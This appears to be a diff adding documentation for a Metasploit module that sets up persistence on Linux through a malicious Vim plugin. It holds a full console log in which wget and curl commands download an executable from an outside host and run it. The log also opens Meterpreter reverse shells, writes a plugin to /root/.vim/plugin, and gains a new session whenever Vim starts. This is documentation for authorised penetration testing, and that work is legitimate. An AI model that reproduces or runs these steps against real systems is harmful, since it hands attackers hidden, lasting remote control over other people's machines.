|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This module creates a VIM Plugin which executes a payload on VIM startup. |
| 4 | + |
| 5 | +## Verification Steps |
| 6 | + |
| 7 | +1. Install the application if needed |
| 8 | +2. Start msfconsole |
| 9 | +3. Get a shell on a linux computer with vim installed |
| 10 | +4. Do: `use exploit/linux/persistence/vim_persistence` |
| 11 | +5. Do: `run` |
| 12 | +6. Start `vim` on the remote computer |
| 13 | +7. You should get a shell. |
| 14 | + |
| 15 | +## Options |
| 16 | + |
| 17 | +### NAME |
| 18 | + |
| 19 | +Name of the extension. Defaults to random. |
| 20 | + |
| 21 | +## Scenarios |
| 22 | + |
| 23 | +### vim 9.1.2141 on Kali 2026.1 |
| 24 | + |
| 25 | +``` |
| 26 | +resource (/root/.msf4/msfconsole.rc)> setg verbose true |
| 27 | +verbose => true |
| 28 | +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 |
| 29 | +lhost => 1.1.1.1 |
| 30 | +resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp |
| 31 | +payload => cmd/linux/http/x64/meterpreter/reverse_tcp |
| 32 | +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery |
| 33 | +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp |
| 34 | +resource (/root/.msf4/msfconsole.rc)> set target 7 |
| 35 | +target => 7 |
| 36 | +resource (/root/.msf4/msfconsole.rc)> set srvport 8082 |
| 37 | +srvport => 8082 |
| 38 | +resource (/root/.msf4/msfconsole.rc)> set uripath l |
| 39 | +uripath => l |
| 40 | +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp |
| 41 | +payload => linux/x64/meterpreter/reverse_tcp |
| 42 | +resource (/root/.msf4/msfconsole.rc)> set lport 4446 |
| 43 | +lport => 4446 |
| 44 | +resource (/root/.msf4/msfconsole.rc)> run |
| 45 | +[*] Exploit running as background job 0. |
| 46 | +[*] Exploit completed, but no session was created. |
| 47 | +[*] Started reverse TCP handler on 1.1.1.1:4446 |
| 48 | +[*] Using URL: http://1.1.1.1:8082/l |
| 49 | +[*] Server started. |
| 50 | +[*] Run the following command on the target machine: |
| 51 | +wget -qO b1ULF8bg --no-check-certificate http://1.1.1.1:8082/l; chmod +x b1ULF8bg; ./b1ULF8bg& disown |
| 52 | +msf exploit(multi/script/web_delivery) > |
| 53 | +[*] 1.1.1.1 web_delivery - Delivering Payload (250 bytes) |
| 54 | +[*] Transmitting intermediate stager...(126 bytes) |
| 55 | +[*] Sending stage (3090404 bytes) to 1.1.1.1 |
| 56 | +[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 1.1.1.1:35126) at 2026-03-30 08:43:36 -0400 |
| 57 | +
|
| 58 | +msf exploit(multi/script/web_delivery) > sessions -i 1 |
| 59 | +[*] Starting interaction with 1... |
| 60 | +
|
| 61 | +meterpreter > getuid |
| 62 | +Server username: h00die |
| 63 | +meterpreter > sysinfo |
| 64 | +Computer : h00die-kali |
| 65 | +OS : Debian (Linux 6.18.12+kali-amd64) |
| 66 | +Architecture : x64 |
| 67 | +BuildTuple : x86_64-linux-musl |
| 68 | +Meterpreter : x64/linux |
| 69 | +meterpreter > background |
| 70 | +[*] Backgrounding session 1... |
| 71 | +msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/vim_persistence |
| 72 | +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp |
| 73 | +msf exploit(linux/persistence/vim_persistence) > set session 1 |
| 74 | +session => 1 |
| 75 | +msf exploit(linux/persistence/vim_persistence) > exploit |
| 76 | +[*] Command to run on remote host: curl -so ./mCslKCWV http://1.1.1.1:8080/h21lOsiTyFK6CgBlUqDgZQ;chmod +x ./mCslKCWV;./mCslKCWV& |
| 77 | +[*] Exploit running as background job 1. |
| 78 | +[*] Exploit completed, but no session was created. |
| 79 | +
|
| 80 | +[*] Fetch handler listening on 1.1.1.1:8080 |
| 81 | +[*] HTTP server started |
| 82 | +[*] Adding resource /h21lOsiTyFK6CgBlUqDgZQ |
| 83 | +[*] Started reverse TCP handler on 1.1.1.1:4444 |
| 84 | +msf exploit(linux/persistence/vim_persistence) > [*] Running automatic check ("set AutoCheck false" to disable) |
| 85 | +[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere. |
| 86 | +[!] The service is running, but could not be validated. VIM is installed |
| 87 | +[*] Writing plugin to /root/.vim/plugin/UAxJbJuMy.vim |
| 88 | +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/h00die-kali_20260330.4754/h00die-kali_20260330.4754.rc |
| 89 | +``` |
| 90 | + |
| 91 | +Open vim |
| 92 | + |
| 93 | +``` |
| 94 | +[*] Client 1.1.1.1 requested /h21lOsiTyFK6CgBlUqDgZQ |
| 95 | +[*] Sending payload to 1.1.1.1 (curl/8.18.0) |
| 96 | +[*] Transmitting intermediate stager...(126 bytes) |
| 97 | +[*] Sending stage (3090404 bytes) to 1.1.1.1 |
| 98 | +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:40448) at 2026-03-30 08:48:02 -0400 |
| 99 | +``` |
0 commit comments